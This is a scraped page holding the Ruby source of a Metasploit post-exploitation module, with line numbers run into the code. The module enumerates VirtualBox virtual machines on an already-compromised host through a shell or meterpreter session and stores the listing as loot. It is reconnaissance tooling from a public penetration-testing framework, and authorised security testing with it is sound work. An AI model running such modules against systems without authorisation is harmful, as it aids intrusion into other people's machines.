Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/enum_vbox.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'yaml'67class MetasploitModule < Msf::Post8include Msf::Post::File910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Multi Gather VirtualBox VM Enumeration',15'Description' => %q{16This module will attempt to enumerate any VirtualBox VMs on the target machine.17Due to the nature of VirtualBox, this module can only enumerate VMs registered18for the current user, therefore, this module needs to be invoked from a user context.19},20'License' => MSF_LICENSE,21'Author' => ['theLightCosine'],22'Platform' => %w[bsd linux osx unix win],23'SessionTypes' => ['shell', 'meterpreter' ]24)25)26end2728def run29case session.platform30when 'windows'31if session.type == 'meterpreter'32begin33res = cmd_exec('c:\\Program Files\\Oracle\\VirtualBox\\vboxmanage', 'list -l vms')34rescue ::Rex::Post::Meterpreter::RequestError35print_error('VirtualBox does not appear to be installed on this machine')36return nil37end3839if res.empty?40print_status('VirtualBox is installed but this user has no VMs registered. Try another user.')41return nil42end43else44res = cmd_exec('"c:\\Program Files\\Oracle\\VirtualBox\\vboxmanage" list -l vms')45if res.empty?46print_error('VirtualBox isn\'t installed or this user has no VMs registered')47return nil48end49end50when 'unix', 'linux', 'bsd', 'osx'51res = cmd_exec('vboxmanage list -l vms')5253unless res.start_with?('Sun VirtualBox') || res.include?('Name:')54print_error('VirtualBox isn\'t installed or this user has no VMs registered')55return nil56end57end5859return nil unless res6061vprint_status(res)62store_path = store_loot('virtualbox_vms', 'text/plain', session, res, 'virtualbox_vms.txt', 'Virtualbox Virtual Machines')63print_good("#{peer} - File successfully retrieved and saved on #{store_path}")64end6566end676869